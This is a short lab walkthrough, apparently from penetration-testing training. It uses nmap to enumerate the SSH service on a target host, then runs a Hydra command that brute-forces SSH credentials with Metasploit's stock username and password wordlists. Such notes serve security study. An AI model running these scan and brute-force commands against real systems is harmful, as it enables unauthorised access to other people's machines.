Brute Force

#Enumeration

nmap -sV 192.63.218.3

22/tcp open  ssh  OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)

This version is not vulnerable to a specific vulnerability let Brute force using Hydra

#Brute force

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/common_passwords.txt 192.63.218.3 -t 4 ssh